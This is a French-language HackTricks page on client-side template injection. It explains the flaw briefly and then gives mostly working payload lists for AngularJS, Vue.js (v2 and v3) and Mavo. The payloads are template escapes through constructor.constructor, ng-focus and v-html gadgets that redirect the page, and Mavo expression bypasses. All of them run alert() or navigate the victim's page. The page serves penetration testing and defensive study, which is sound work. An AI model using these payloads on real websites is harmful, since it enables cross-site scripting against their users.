6.9 KiB
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Résumé
C'est comme une Injection de Template Côté Serveur mais côté client. L'SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du JavaScript arbitraire dans la victime.
La manière de tester cette vulnérabilité est très similaire à celle de l'SSTI, l'interpréteur va s'attendre à quelque chose à exécuter entre doubles accolades et l'exécutera. Par exemple en utilisant quelque chose comme : {{ 7-7 }}
si le serveur est vulnérable vous verrez un 0
et sinon vous verrez l'original : {{ 7-7 }}
AngularJS
AngularJS est une bibliothèque JavaScript populaire, qui analyse le contenu des nœuds HTML contenant l'attribut ng-app
(également connu sous le nom de directive AngularJS). Lorsqu'une directive est ajoutée au code HTML, vous pouvez exécuter des expressions JavaScript à l'intérieur des doubles accolades.
Par exemple, si votre entrée est reflétée à l'intérieur du corps du HTML et que le corps est défini avec ng-app
: <body ng-app>
Vous pouvez exécuter du code JavaScript arbitraire en utilisant des accolades en ajoutant au corps :
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS sur http://jsfiddle.net/2zs2yv7o/
{% hint style="danger" %}
Angular 1.6 a supprimé le sandbox donc à partir de cette version, un payload comme {{constructor.constructor('alert(1)')()}}
ou <input ng-focus=$event.view.alert('XSS')>
devrait fonctionner.
{% endhint %}
VueJS
Vous pouvez trouver une implémentation vulnérable de vue.js sur https://vue-client-side-template-injection-example.azu.now.sh/
Payload fonctionnel : https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Et le code source de l'exemple vulnérable ici : https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un excellent article sur le CSTI dans VUE est disponible sur https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédit : Mario Heiderich
Consultez plus de charges utiles VUE sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Charge utile :
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Plus de payloads sur https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Liste de Détection par Force Brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.